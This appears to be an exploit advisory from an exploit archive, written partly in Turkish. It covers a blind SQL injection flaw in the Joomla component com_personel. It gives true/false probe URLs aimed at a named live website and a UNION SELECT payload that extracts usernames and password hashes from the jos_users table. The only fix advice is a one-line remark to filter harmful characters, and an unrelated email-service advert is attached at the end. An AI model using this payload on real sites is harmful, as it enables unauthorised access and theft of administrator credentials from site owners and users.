Fl0riXPACKETSTORM:84008
`
<------------------- header data start ------------------- >
#############################################################
# Joomla Component com_personel Blind SQL Injection Vulnerability
#############################################################
# author : Fl0riX
# Name : com_personel
# Bug Type : Blind SQL Injection
# Infection : Admin login bilgileri alýnabilir.
# Demo Vuln. :
TRUE(+)
» http://yaylacik.eu/jml/index.php?option=com_personel&task=showperson&id=6 and 1=1
FALSE(-)
» http://yaylacik.eu/jml/index.php?option=com_personel&task=showperson&id=6 and 1=0
# Bug Fix Advice : Zararlý karakterler filtrelenmelidir.
#############################################################
< ------------------- header data end of ------------------- >
< -- bug code start -- >
path/index.php?option=com_personel&task=showperson&id=6/**/and/**/1=0/**/union/**/select/**/1,2,3,4,5,concat(username,0x3a,password),7,8,9,11,12,13,14,15/**/from/**/jos_users/**/
< -- bug code end of -- >
_________________________________________________________________
Windows Live Hotmail: Arkadaþlarýnýz Facebook'taki güncellemelerinizi doðrudan Hotmail®'den alýr.
http://www.microsoft.com/windows/windowslive/see-it-in-action/social-network-basics.aspx?ocid=PID23461::T:WLMTAGL:ON:WL:tr-tr:SI_SB_4:092009`